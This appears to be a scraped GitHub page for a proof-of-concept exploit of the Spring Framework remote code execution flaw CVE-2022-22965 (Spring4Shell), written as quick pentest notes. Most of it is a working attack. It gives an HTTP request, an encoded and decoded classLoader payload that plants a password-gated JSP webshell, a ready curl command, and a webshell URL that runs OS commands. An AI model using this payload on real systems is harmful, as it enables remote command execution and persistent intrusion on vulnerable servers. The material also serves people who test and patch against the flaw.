CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source

https://github.com/alt3kx/CVE-2022-22965_PoC

Associated Vulnerability

Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Description

Spring Framework RCE (Quick pentest notes)

Readme

# Spring Framework RCE exploitation (Quick pentest notes)

<p align="center">
  <img src="https://user-images.githubusercontent.com/3140111/161103421-31e0e81a-29bf-42e9-ae55-282ca5e9adc2.png">
</p>

Step 1: Find some endpoint in your target where is accepted POST/PUT methods + encode your payload (URL encode)

```
POST /path/upload HTTP/1.1
Host: <redacted>
Origin: <redacted>
Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; 
Content-Type: application/x-www-form-urlencoded
User-Agent: alex666
c0: %>//
c1: Runtime
c2: <%
Connection: close

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bc2%7di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20%25%7bc1%7di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20%7d%20%25%7bc0%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```
Step 2: Is better with Burp Free/Pro :

![image](https://user-images.githubusercontent.com/3140111/160967432-0b462017-9528-4849-836d-08b3cfe22976.png)

![image](https://user-images.githubusercontent.com/3140111/161083147-a71a48c6-e78e-47ec-bc51-07500f326a02.png)

Here the Payload Decoded: 

```
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{c0}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```

Step 3: Use curl commandliner and send your POST + payload to the targeted system: 

```ruby
$ curl -i -s -k -X $'POST' -H $'Host: <redacted>' -H $'Origin: <redacted>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: alex666' -H $'c0: %>//' -H $'c1: Runtime' -H $'c2: <%' -H $'Connection: close' -b $'JSESSIONID=BE65B534335A5A2538624404C063B70C' --data-binary $'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bc2%7di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20%25%7bc1%7di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20%7d%20%25%7bc0%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=webshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=\x0d\x0a\x0d\x0a' $'http://<redacted>/path/upload' --proxy http://127.0.0.1:8080
```
Step 4: Your need await 10/15 seconds and call your webshell as follow: 
```
https://<redacted>/path/upload/webshell.jsp?pwd=j&cmd=id
````
Note: If you retry the payload too many times the webshell will be rewrite with new lines and special chars will be not scaped, is better change the name of your webshell and choose new PATH that not affect the currentl deployment.

References and Fixes : </br>
* https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/<br>
* https://github.com/BobTheShoplifter/Spring4Shell-POC </br>
* https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement</br>
* https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/</br>



[../to be continue]


# Author
Alex Hernandez aka <em><a href="https://twitter.com/_alt3kx_" rel="nofollow">(@\_alt3kx\_)</a></em>

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